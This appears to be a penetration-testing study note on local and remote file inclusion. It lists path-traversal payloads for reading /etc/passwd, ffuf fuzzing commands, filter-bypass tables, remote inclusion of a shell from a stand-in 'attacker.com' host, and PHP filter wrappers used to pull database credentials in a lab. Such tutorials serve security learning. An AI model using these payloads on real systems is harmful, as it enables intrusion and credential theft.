Local and Remote File Inclusion (LFI / RFI)
Concepts
Local File Inclusion (LFI) - including files already present on the target server (e.g. config files with DB credentials, /etc/passwd).
Remote File Inclusion (RFI) - including a file from an external location (e.g. attacker-hosted reverse shell), which can lead to arbitrary code execution.
Both happen because the application takes user input and uses it as a file path without proper validation. For example, a ?filename=recipe.txt parameter might be changed to ?filename=../../../etc/passwd.
LFI Attacks
First, determine what the target host is running. High-value targets depend on the OS:
| OS | Files to target |
|---|---|
| Linux | /etc/passwd, /etc/hosts, SSH keys, application config files |
| Windows | C:\Windows\win.ini, C:\Windows\System32\drivers\etc\hosts |
Tip: For a full list of target files per OS, check PayloadsAllTheThings - File Inclusion.
How to spot it: Look for any parameter that references a file - image sources, recipe links, language selectors, file download endpoints. Open files in a new tab and check the source link. If the URL contains something like ?filename=chocolatecake.txt or ?file=image.png, it’s a candidate.
Steps:
- Enable Burp Suite intercept and submit a request that loads a file - observe the parameters and headers.
- Save the request: right-click → Copy to file → e.g.
lfi0x01.req - Identify the parameter to fuzz (e.g.
filename=image.png) - Replace the target parameter value with
FUZZ:filename=FUZZ - Run ffuf:
ffuf --request lfi0x01.req --request-proto http -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -c -v -fs 1668,1823 - Examine the result - look for a response with a different size or status code:
[Status: 200, Size: 1808, Words: 494, Lines: 47] * FUZZ: ../../../../../../etc/passwd&=%3C%3C%3C%3C
Alternative - Burp Intruder: You can also use Intruder with the built-in Path Traversal payload list instead of ffuf. Mark the parameter, select the list, and look for outlier response sizes.
Tip: The Jhaddix LFI list already includes many bypass payloads (
..././, encoded variants, null bytes), so fuzzing with it covers most filter evasion automatically. But still understand the bypasses below.
Filter Bypass Techniques
| Technique | Example | When it works |
|---|---|---|
| Basic traversal | ../../../etc/passwd | No filtering |
| Non-recursive filter bypass | ..././..././..././etc/passwd | Filter removes ../ once but doesn’t re-check - remaining parts rejoin into ../ |
| URL encoding | %2e%2e%2f%2e%2e%2f | Old/misconfigured servers that decode before filtering |
| Double encoding | %252e%252e%252f | Very old servers (PHP < 5.3), some CTFs |
| Null byte | ../../etc/passwd%00 | PHP < 5.3.4 only - terminates the string so appended extensions are ignored |
Non-recursive filter explained: If the server strips ../, then ..././ becomes ../ after stripping. You’re inserting ../ inside another ../ so when the middle part is removed, the outer parts combine back into the traversal pattern.
LFI in API-Driven Applications
Sometimes the file parameter isn’t in the URL - it’s sent via POST body to an API endpoint. You won’t see it in the address bar. Check Burp HTTP history to spot it.
Same approach: capture the request, save to file, replace the parameter with FUZZ, and run ffuf with --request.
Tuning ffuf output: If you get many results with the same word count or size, filter them out:
# Filter by word count
ffuf --request api_req.txt --request-proto http -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -c -v -fw 19,20
# Filter by response size
ffuf --request api_req.txt --request-proto http -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -c -v -fs 1668Tip: Always pay attention to the content length / response size. A significantly different size from the baseline usually means your payload worked.
Remote File Inclusion Attacks
Same concept as LFI, but instead of pointing the path to a local file, you point it to an external URL. If the application fetches remote resources, you can host a reverse shell or any other malicious file.
filename=https://attacker.com/shell.php
Filter bypasses for RFI:
| Technique | Example | How it works |
|---|---|---|
| Mixed case | hTTpS://attacker.com | Bypass case-sensitive keyword filters |
| Keyword insertion | hthttp://tp://attacker.com | If http is stripped once, the remaining parts form http:// |
Tip: The same non-recursive filter logic from LFI applies to RFI keyword filters. If the filter removes
httpbut isn’t recursive, insertinghttpinsidehttpreconstructs the keyword.
PHP Wrappers
PHP wrappers let you read PHP source files that would normally be executed (and therefore invisible to you). The output is base64-encoded - you decode it from your end.
This is powerful because PHP config files often contain database credentials, API keys, hardcoded JWT secrets, or WordPress wp-config.php credentials.
Example - reading a database config file:
curl http://localhost/labs/fi0x02.php?filename=php://filter/read=convert.base64-encode/resource=..././db.phpNote the
..././bypass in the resource path - combine wrappers with filter bypasses as needed.
Returned base64:
PD9waHAKCiRzZXJ2ZXJuYW1lID0gImJiLWRiIjsKJHVzZXJuYW1lID0gImJiLWxhYnMtdXNlciI7CiRwYXNzd29yZCA9ICJiYi1sYWJzLXBhc3N3b3JkIjsKJGRibmFtZSA9ICJiYi1sYWJzIjsKCiRjb25uID0gbmV3IG15c3FsaSgkc2VydmVybmFtZSwgJHVzZXJuYW1lLCAkcGFzc3dvcmQsICRkYm5hbWUpOwoKaWYgKCRjb25uLT5jb25uZWN0X2Vycm9yKSB7CiAgICBkaWUoIkNvbm5lY3Rpb24gZmFpbGVkOiAiIC4gJGNvbm4tPmNvbm5lY3RfZXJyb3IpOwp9Cg==
Decode it:
echo "PD9waHAK..." | base64 -d
# $servername = "bb-db";
# $username = "bb-labs-user";
# $password = "bb-labs-password";
# $dbname = "bb-labs";Tip: If you found a JWT token in a previous lab/test that uses a hardcoded secret, you might be able to steal that secret via PHP wrappers and forge your own tokens.
Checklist
Detection
- Is any parameter loading a file? (
filename=,page=,file=,path=,lang=,template=) - Is the parameter in the URL or in a POST body? (check Burp HTTP history)
- What OS is the target running? (determines which files to target)
LFI
- Can you traverse directories? (
../../../etc/passwd) - Is the filter recursive? (try
..././..././) - Does URL encoding or double encoding bypass the filter?
- Does null byte injection work? (
%00- PHP < 5.3.4 only) - Can you use PHP wrappers to read source code? (
php://filter/convert.base64-encode/resource=)
RFI
- Can you include remote files? (
https://attacker.com/shell.php) - Does mixed-case protocol bypass the filter? (
hTTpS://) - Does keyword insertion bypass? (
hthttp://tp://)
Escalation
- Did PHP wrappers reveal DB credentials, API keys, or JWT secrets?
- Can RFI be used to include a reverse shell?
- Can LFI read sensitive config files? (
wp-config.php,.env,db.php)
Quick Reference
| What | Tool / Resource |
|---|---|
| Fuzz for LFI | ffuf with LFI-Jhaddix.txt from SecLists |
| Alternative fuzzing | Burp Intruder with Path Traversal payload list |
| Payload reference | PayloadsAllTheThings - File Inclusion |
| Decode base64 | echo "BASE64" | base64 -d |
| PHP wrapper syntax | php://filter/read=convert.base64-encode/resource=TARGET |